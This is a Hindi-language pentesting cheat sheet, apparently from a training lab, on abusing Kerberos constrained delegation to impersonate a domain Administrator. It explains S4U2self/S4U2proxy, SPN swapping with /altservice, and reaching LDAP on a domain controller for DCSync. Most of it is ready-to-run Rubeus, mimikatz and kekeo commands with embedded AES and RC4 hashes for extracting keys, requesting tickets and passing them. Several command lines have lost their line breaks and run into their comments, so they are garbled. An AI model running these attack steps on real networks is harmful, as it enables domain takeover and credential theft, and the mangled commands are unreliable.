इसका उपयोग करके एक डोमेन व्यवस्थापक एक कंप्यूटर को किसी मशीन की सेवा के खिलाफ एक उपयोगकर्ता या कंप्यूटर का अनुकरण करने की अनुमति दे सकता है।
सेवा उपयोगकर्ता के लिए स्वयं (S4U2self): यदि एक सेवा खाता में userAccountControl मान में TRUSTED_TO_AUTH_FOR_DELEGATION (T2A4D) शामिल है, तो यह किसी अन्य उपयोगकर्ता के लिए अपने लिए (सेवा) एक TGS प्राप्त कर सकता है।
सेवा उपयोगकर्ता के लिए प्रॉक्सी(S4U2proxy): एक सेवा खाता किसी भी उपयोगकर्ता के लिए msDS-AllowedToDelegateTo में सेट सेवा के लिए एक TGS प्राप्त कर सकता है। इसे करने के लिए, यह पहले उस उपयोगकर्ता से अपने पास एक TGS की आवश्यकता है, लेकिन यह उस अन्य उपयोगकर्ता से उस TGS को अनुरोध करने से पहले S4U2self का उपयोग कर सकता है।
ध्यान दें: यदि किसी उपयोगकर्ता को AD में 'खाता संवेदनशील है और उसे सौंपा नहीं जा सकता' के रूप में चिह्नित किया गया है, तो आप उनका अनुकरण नहीं कर सकेंगे।
इसका मतलब है कि यदि आप सेवा का हैश कंप्रोमाइज करते हैं तो आप उपयोगकर्ताओं का अनुकरण कर सकते हैं और उनके लिए सेवा कॉन्फ़िगर (संभावित प्राइवेस्क के साथ) प्राप्त कर सकते हैं।
इसके अतिरिक्त, आपके पास उपयोगकर्ता का अनुकरण करने की क्षमता होगी न केवल सेवा जिसे वह अनुकरण कर सकता है, बल्कि किसी भी सेवा के लिए क्योंकि SPN (अनुरोध की गई सेवा का नाम) की जांच नहीं की जा रही है, केवल अधिकार। इसलिए, यदि आपके पास CIFS सेवा तक पहुंच है तो आप /altservice फ्लैग का उपयोग करके HOST सेवा तक पहुंच सकते हैं Rubeus में।
इसके अतिरिक्त, DC पर LDAP सेवा एक्सेस, एक DCSync का उपयोग करने के लिए आवश्यक है।
# The first step is to get a TGT of the service that can impersonate others## If you are SYSTEM in the server, you might take it from memory.\Rubeus.exe triage.\Rubeus.exe dump/luid:0x3e4/service:krbtgt/nowrap# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one## Get AES/RC4 with mimikatzmimikatzsekurlsa::ekeys## Request with aestgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
# Request with RC4tgt::ask/user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local/rc4:8c6264140d5ae7d03f7f2a53088a291d.\Rubeus.exe asktgt/user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f/outfile:TGT_websvc.kirbi
कंप्यूटर में सिस्टम न होने के बावजूद TGT टिकट या RC4 या AES256 प्राप्त करने के अन्य तरीके हैं जैसे प्रिंटर बग और अनकंस्ट्रेन डेलीगेशन, NTLM रीले और एक्टिव डायरेक्टरी सर्टिफिकेट सर्विस दुरुपयोग
बस उस TGT टिकट (या हैश) के साथ आप पूरे कंप्यूटर को कमजोर किए बिना इस हमले को कर सकते हैं।
Rubeus का उपयोग करना
#Obtain a TGS of the Administrator user to self.\Rubeus.exe s4u/ticket:TGT_websvc.kirbi/impersonateuser:Administrator/outfile:TGS_administrator#Obtain service TGS impersonating Administrator (CIFS).\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
#Impersonate Administrator on different service (HOST).\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2).\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap
#Load ticket in memory.\Rubeus.exe ptt/ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
केकेओ + मिमीकेट्ज
#Obtain a TGT for the Constained allowed usertgt::ask/user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local/rc4:8c6264140d5ae7d03f7f2a53088a291d#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
#Load the TGS in memoryInvoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'